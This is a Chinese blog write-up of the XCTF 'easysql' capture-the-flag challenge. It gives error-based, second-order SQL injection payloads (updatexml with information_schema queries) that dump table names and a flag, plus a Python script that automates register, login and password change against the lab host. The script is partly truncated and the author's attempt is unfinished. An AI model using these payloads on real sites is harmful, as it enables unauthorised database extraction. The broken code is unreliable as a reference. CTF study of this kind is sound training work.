

XCTF easysql注入writeup

原创

小傅老师 于 2019-07-16 15:15:44 发布 441 收藏

版权声明：本文为博主原创文章，遵循 [CC 4.0 BY-SA](#) 版权协议，转载请附上原文出处链接和本声明。

本文链接：<https://blog.csdn.net/haodeshua/article/details/96135861>

版权

我没有拿到flag，不过根据writeup的提示。。。还是没做出来。有朋友做出来了可以在下面评论。

官方提示如下

【目的】
对sql注入进行一定的了解

【环境】
Windows/Linux

【工具】
chrome, firefox, hackbar

【步骤】
注入的时候不能带空白字符例如 `/**`, `and`, `ord`, `mid` 等等而且每次注入都需要经过三个页面: 1注册 2登陆 3修改密码
修改密码为最终触发sql的地方。
查询有哪些表: `sql adminaa' || updatexml(1, concat(0x7e, (SELECT(GROUP_CONCAT(TABLE_NAME))FROM(information_schema.TABLES)WHERE(table_schema=database()))), 0)#` 返回: `sql XPATH syntax error: ' article flag users'`
看到flag理所当然的从flag里查: `sql adminaa' || updatexml(1, concat(0x7e, (SELECT(flag)FROM(flag))), 0)#`
返回: `sql XPATH syntax error: ' RCTF(Good job! But flag not her'` 发现不成功, 改变思路, 继续查别的表。
文章表里没什么东西。
然后查users表有哪些字段: `sql adminaa' || updatexml(1, concat(0x7e, (SELECT(GROUP_CONCAT(COLUMN_NAME))FROM(information_schema.COLUMNS)WHERE(TABLE_NAME='users'))), 0)#`
返回: `sql XPATH syntax error: ' name pwd email real_flag is_hex'`
直觉告诉我最后一个字段看起来缺了点啥。脑补一个'e'上去形成`real_flag_is_here`
然后看看这个表里的`real_flag_is_here`字段里都放了些什么东西: `sql adminaa' || updatexml(1, concat(0x7e, (SELECT(GROUP_CONCAT(real_flag_is_here))FROM(users))), 0)#`
返回: `sql XPATH syntax error: ' xxx xxx xxx xxx xxx xxx xxx RCT'`
前几行的值都是xxx, 第八行的值虽然没显示全, 但应该就是flag了。
所以排除`real_flag_is_here`值为'xxx'的行, 再次查询: `sql adminaa' || updatexml(1, concat(0x7e, (SELECT(GROUP_CONCAT(real_flag_is_here))FROM(users)WHERE(real_flag_is_here!='xxx'))), 0)#`
返回: `sql XPATH syntax error: ' RCTF(sql_injecti0n_is_f4n_6666)'`

【总结】
无

<https://blog.csdn.net/haodeshua>

根据提示，我写了一个脚本，脚本代码如下，这个脚本可以在代码里修改用户名和密码，直接完成在网站上用户名和密码的创建和登录以及修改密码。

```
# -*-coding:utf-8-*-
import requests

#cookiesq全局变量不用改
url = "http://111.198.29.45:49818/"
#user='adminaa' || updatexml(1,concat(0x7e,(SELECT(GROUP_CONCAT(TABLE_NAME))FROM(information_schema.TABLES)WH
#a='SELECT(GROUP_CONCAT(TABLE_NAME))FROM(information_schema.TABLES)WHERE(table_schema=database())'
# flag='updatexml(1,concat(0x7e,,0)')
# flag='SELECT(flag)FROM(flag)')
#user='adminaa' || updatexml(1,concat(0x7e,(SELECT(GROUP_CONCAT(TABLE_NAME))FROM(information_schema.TABLES)WH
user='adminaa' || updatexml(1,concat(0x7e,(SELECT(flag)FROM(flag))),0)#'
passwd='updatexml(1,concat(0x7e,(SELECT(GROUP_CONCAT(TABLE_NAME))FROM(information_schema.TABLES)WHERE(table
newpass='cc'
email="cc"
cookies=""
#用于表示账号密码是否修改成功
flag=0
usps=[]
def register(user,passwd,email):
    urlr=url+"register.php"
    r = requests.post(url=urlr,data={'username':user,'password':passwd,'email':email})
```

```

# print r.content
# print r.headers
if 'user exists' not in r.content:
    usps.append({user,passwd})
    cookies=r.cookies
    print 'sucess create user '+ user +" passwd " + passwd
    print r.text
    return 0
else:
    print 'fail create '+user
    print r.text
    return 1
def login(user,passwd):
    global cookies
    url=url+"login.php"
    r = requests.post(url=url,data={"username":user,"password":passwd},cookies=cookies)
    #print "login back "+r.text
    if user in r.text:
        print "user "+ user + " sucess login "
        print r.text
    else:
        print "user "+user+" login fail"
        print r.text
def changepw(oldpass,newpass):
    global cookies
    global flag
    urlc=url+"changepwd.php"
    headers={
        "Referer":"http://111.198.29.45:49818/changepwd.php"
    }
    r=requests.post(urlc,data={"oldpass":oldpass,"newpass":newpass},cookies=cookies)
    #print "changpw "+ r.text
    # cookies=r.cookies
    #print r.request.headers
    if "REGISTER" in r.text:
        print "fail create"
        print r.text
        flag = 0
    else:
        print "sucess change"
        print r.text
        flag = 1
    #print r.headers
if __name__=="__main__":
    # changepw(cookie=cookies)
    # if flag==0:
    #     #register(user,passwd,email)
    #     login(user,passwd)
    #     changepw(cookie=cookies)
    #     print flag
    #     print cookies
    r=requests.get('http://111.198.29.45:49818/')
    cookies=r.cookies
    # print cookies
    register(user,passwd,"cc")
    login(user,passwd)
    changepw(passwd,newpass)
    # print flag
    # r=requests.post('http://111.198.29.45:49818/changepwd.php')

```

```
# print r.text
```

更加官方提示，我发现在用户名处存在着报错注入，输入如上，结果如下：

```
T:\venv\Scripts\python.exe C:/Users/Administrator/PycharmProjects/PythonPAT/xcftf-easysql.py
SELECT(flag)FROM(flag)),0)#
ername: <input type="text" name="username" /><p><p>password: <input type="text" name="password" /><p>email: <input type="text" name="email" /><p><input type="submit" value="Submit" /></form><br>user exists!
flag)FROM(flag)),0)# success login
cat(0x7e,(SELECT(flag)FROM(flag)),0)#</a><ul><li><a href="index.php?title=lscg">良辰诗歌</a></li><li><a href="index.php?title=wyzb">网友茶逼</a></li><li><a href="index.php?title=zrtbf">赵曰天不服</a></li></ul>
t type="text" name="oldpass" /><p><p>newpass: <input type="text" name="newpass" /><p><input type="submit" value="Submit" /></form>XPath syntax error: '~RCIF[Good job! But flag not her'
```

得到了官方提示一致的结果。

```
再继续，把user更改为adminaa"||updatexml(1,concat(0x7e,
(SELECT(GROUP_CONCAT(TABLE_NAME))FROM(information_schema.TABLES)WHERE(table_sche
```

发现注册时返回dberror。根本注册不成功。

```
hon.exe C:/Users/Administrator/PycharmProjects/PythonPAT/xcftf-easysql.py
P_CONCAT(TABLE_NAME))FROM(information_schema.TABLES)WHERE(table_schema=database(0))),0)# passwd updatexml(1,concat(0x7e,(SELECT(GROUP_CONCAT(TABLE_NAME))FROM(information_schema.TABLES)WHERE(table_schema=datab
e="text" name="username" /><p><p>password: <input type="text" name="password" /><p>email: <input type="text" name="email" /><p><input type="submit" value="Submit" /></form>db error
_NAME))FROM(information_schema.TABLES)WHERE(table_schema=database(0))),0)# login fail
```

只要时含有WHERE的都是会报db error。得不到传说中的flag。

怀疑对where或者是过滤了，测试一下，没有,没有过滤。。。，不过对空格确实是有过滤。。。。

```
e C:/Users/Administrator/PycharmProjects/PythonPAT/xcftf-easysql.py
CONCAT(TABLE_NAME))FROM(information_schema.TABLES)WHERE(table_schema=database(0))),0)
t" name="username" /><p><p>password: <input type="text" name="password" /><p>email: <input type="text" name="email" /><p><input type="submit" value="Submit" /></form><script>alert("invalid string!")</script>
name="username" /><p><p>password: <input type="text" name="password" /><p><input type="submit" value="Submit" /></form><br>login error
```

做到现在，这个db error不知道怎么回事，我自己现在也想不出来怎么绕过它。如果有大佬看到这篇文章，如能解答，感激不尽

tips:使用代码时，注意修改代码里的url，user,passwd等变量。这样就不用手动注册，登录，修改密码那么麻烦了。